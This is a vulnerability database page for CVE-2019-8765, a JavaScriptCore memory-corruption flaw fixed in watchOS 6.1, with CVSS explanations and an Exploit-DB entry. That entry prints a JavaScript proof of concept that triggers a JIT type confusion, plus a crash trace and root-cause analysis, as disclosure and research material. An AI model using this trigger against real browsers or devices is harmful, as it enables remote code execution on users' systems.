CVE-2019-8765 : Detail

CVE-2019-8765

8.8
/
High
Overflow
44.36%V3
Network
2019-12-18
16h33 +00:00
2020-03-15
05h06 +00:00
CVE.org
NVD
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CVE Descriptions

Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in watchOS 6.1. Processing maliciously crafted web content may lead to arbitrary code execution.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 47565

Publication date : 2019-10-29 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

The following JavaScript program, found by Fuzzilli and slightly modified, crashes JavaScriptCore built from HEAD and the current stable release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc): let notAGetterSetter = {whatever: 42}; function v2(v5) { const v10 = Object(); if (v5) { const v12 = {set:Array}; const v14 = Object.defineProperty(v10,"length",v12); const v15 = (140899729)[140899729]; } else { v10.length = notAGetterSetter; } const v18 = new Uint8ClampedArray(49415); v18[1] = v10; const v19 = v10.length; let v20 = 0; while (v20 < 100000) { v20++; } } const v26 = v2(); for (let v32 = 0; v32 < 1000; v32++) { const v33 = v2(true); } /* Crashes with: ASSERTION FAILED: from.isCell() && from.asCell()->JSCell::inherits(*from.asCell()->vm(), std::remove_pointer<To>::type::info()) ../../Source/JavaScriptCore/runtime/JSCast.h(44) : To JSC::jsCast(JSC::JSValue) [To = JSC::GetterSetter *] 1 0x1111ada79 WTFCrash 2 0x1111ada99 WTFCrashWithSecurityImplication 3 0x10ffb8f55 JSC::GetterSetter* JSC::jsCast<JSC::GetterSetter*>(JSC::JSValue) 4 0x10ffaf820 JSC::DFG::AbstractInterpreter<JSC::DFG::InPlaceAbstractState>::executeEffects(unsigned int, JSC::DFG::Node*) 5 0x10ff9f37b JSC::DFG::AbstractInterpreter<JSC::DFG::InPlaceAbstractState>::execute(unsigned int) 6 0x10ff9def2 JSC::DFG::CFAPhase::performBlockCFA(JSC::DFG::BasicBlock*) 7 0x10ff9d957 JSC::DFG::CFAPhase::performForwardCFA() 8 0x10ff9d647 JSC::DFG::CFAPhase::run() 9 0x10ff9cc61 bool JSC::DFG::runAndLog<JSC::DFG::CFAPhase>(JSC::DFG::CFAPhase&) 10 0x10ff6c65b bool JSC::DFG::runPhase<JSC::DFG::CFAPhase>(JSC::DFG::Graph&) 11 0x10ff6c625 JSC::DFG::performCFA(JSC::DFG::Graph&) 12 0x110279031 JSC::DFG::Plan::compileInThreadImpl() 13 0x110274fa6 JSC::DFG::Plan::compileInThread(JSC::DFG::ThreadData*) 14 0x11052a9bb JSC::DFG::Worklist::ThreadBody::work() 15 0x1111b3c69 WTF::AutomaticThread::start(WTF::AbstractLocker const&)::$_0::operator()() const 16 0x1111b38a9 WTF::Detail::CallableWrapper<WTF::AutomaticThread::start(WTF::AbstractLocker const&)::$_0, void>::call() 17 0x1102c433a WTF::Function<void ()>::operator()() const 18 0x1111f0350 WTF::Thread::entryPoint(WTF::Thread::NewThreadContext*) 19 0x111285525 WTF::wtfThreadEntryPoint(void*) 20 0x7fff5a7262eb _pthread_body 21 0x7fff5a729249 _pthread_start 22 0x7fff5a72540d thread_start */ The assertion indicates that a JSCell is incorrectly downcasted to a GetterSetter [1] (a pseudo object used to implement property getters/setter). In non debug builds, a type confusion then follows. Below is my preliminary analysis of the cause of the bug. The function v2 is eventually JIT compiled by the FTL JIT compiler. Initially, it will create the following (pseudo) DFG IR for it: # Block 0 (before if-else): 44: NewObject(...) <jump to block 1 or 2 depending on v5> # Block 1 (the if part): ... <install .length property on @44> // Code for const v15 = (140899729)[140899729]; ForceOSRExit Unreachable # Block 2 (the else part) PutByOffset @44, notAGetterSetter PutStructure # Block 3 (after the if-else): ... // Code for v10.length. Due to feedback from previous executions, DFG // JIT speculates that the if branch will be taken and that it will see // v10 with a GetterSetter for .length here CheckStructure @44, structureWithLengthBeingAGetterSetter 166: GetGetterSetterByOffset @44, .length // Load the GetterSetter object from @44 167: GetGetter @166 // Load the getter function from the GetterSetter ... Here, the end of block 1 has already been marked as unreachable due to the element load from a number which will always cause a bailout. Later, the global subexpression elimination phase [2] runs and does the following (which can be seen by enabling verbose CSE [3]): * It determines that the GetGetterSetterByOffset node loads the named property from the object @44 * It determines that this property slot is assigned in block 2 (the else block) and that this block strictly dominates the current block (meaning that the current block can only be reached through block 2) * This is now the case as block 1 does a bailout, so block 3 can never be reached from block 1 * As such, CSE replaces the GetGetterSetterByOffset operation with the constant for |notAGetterSetter| (as that is what is assigned in block 2). At this point the IR is incorrect as the input to a GetGetter operation is expected to be a GetterSetter object, but in this case it is not. During later optimizations, e.g. the AbstractInterpreter relies on that invariant and casts the input to a GetterSetter object [4]. At that point JSC crashes in debug builds with the above assertion. It might also be possible to trigger the type confusion at runtime instead of at compile time but I have not attempted that. [1] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/runtime/GetterSetter.h#L43 [2] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGCSEPhase.h#L49 [3] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGCSEPhase.cpp#L51 [4] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L2811

Products Mentioned

Configuraton 0

Apple>>Watchos >> Version To (excluding) 6.1

References

https://security.gentoo.org/glsa/202003-22
Tags : vendor-advisory, x_refsource_GENTOO